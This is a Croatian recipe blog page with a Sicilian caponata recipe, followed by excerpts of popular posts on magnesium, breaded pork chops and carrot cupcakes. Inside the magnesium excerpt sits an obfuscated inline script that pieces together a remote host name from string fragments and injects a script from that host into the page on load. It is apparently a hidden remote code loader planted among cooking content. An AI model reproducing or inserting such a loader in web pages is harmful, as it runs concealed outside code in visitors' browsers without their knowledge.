TALIJANSKA CAPONATA




Talijanska caponata 



Caponata je tradicionalno talijansko jelo od pirjanog povrća koje potječe iz Sicilije. Riječ je zapravo o slatko-slanom predjelu koje se sastoji od pirjanog patlidžana, paprike, luka, maslina, kapara, pinjola i grožđica.




Talijanska caponata 


Sastojci:

  • 1 kg patlidžana
  • 180 g koncentrata rajčice
  • 150 g zelenih maslina bez koštica
  • 60 ml vinskog octa
  • 50 g pinjola
  • 40 g grožđica
  • 30 g bijelog šećera
  • 2 žlice kapara
  • 1 velika crvena paprika
  • 1 veći luk
  • sol i papar po želji
  • biljno ulje
  • čili prah po želji
  • svježi peršin za posluživanje
  • svježi bosiljak za posluživanje



Priprema:

  1. Operite patlidžan, posušite ga i narežite na kocke otprilike iste veličine. Pomiješajte kocke s nešto maslinova ulja, soli i paprom. Posložite ih na lim za pečenje - da se ne preklapaju – i stavite ih peći u prethodno zagrijanu pećnicu na oko 220 Celzijevih stupnjeva oko pola sata, dok ne porumene i ne omekšaju.
  2. U suhoj tavi na srednje jakoj vatri tostirajte pinjole – za to će vam biti potrebno oko pet minuta. Pazite da vam ne zagore. Uklonite pinjole iz tave i stavite ih sa strane.
  3. U istu tavu dodajte ulje po želji, pa ne njemu prepirjajte nasjeckani luk i papriku. Pirjajte povrće oko pet minuta dok ne omekša. Dodajte koncentrat rajčice, dobro promiješajte i nastavite pirjati par minuta.
  4. Podlijte sadržaj tave s vinskim octom, dodajte nasjeckane masline, kapare, grožđice i šećer. Kuhajte sve zajedno oko pet minuta da se sastojci povežu. Na kraju dodajte pečeni patlidžan i sve dobro promiješajte. Po potrebi dodajte još soli i papra.
  5. Uklonite jelo s vatre i u njega umiješajte tostirane pinjole. Poslužite sa svježim listićima peršina i bosiljka. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više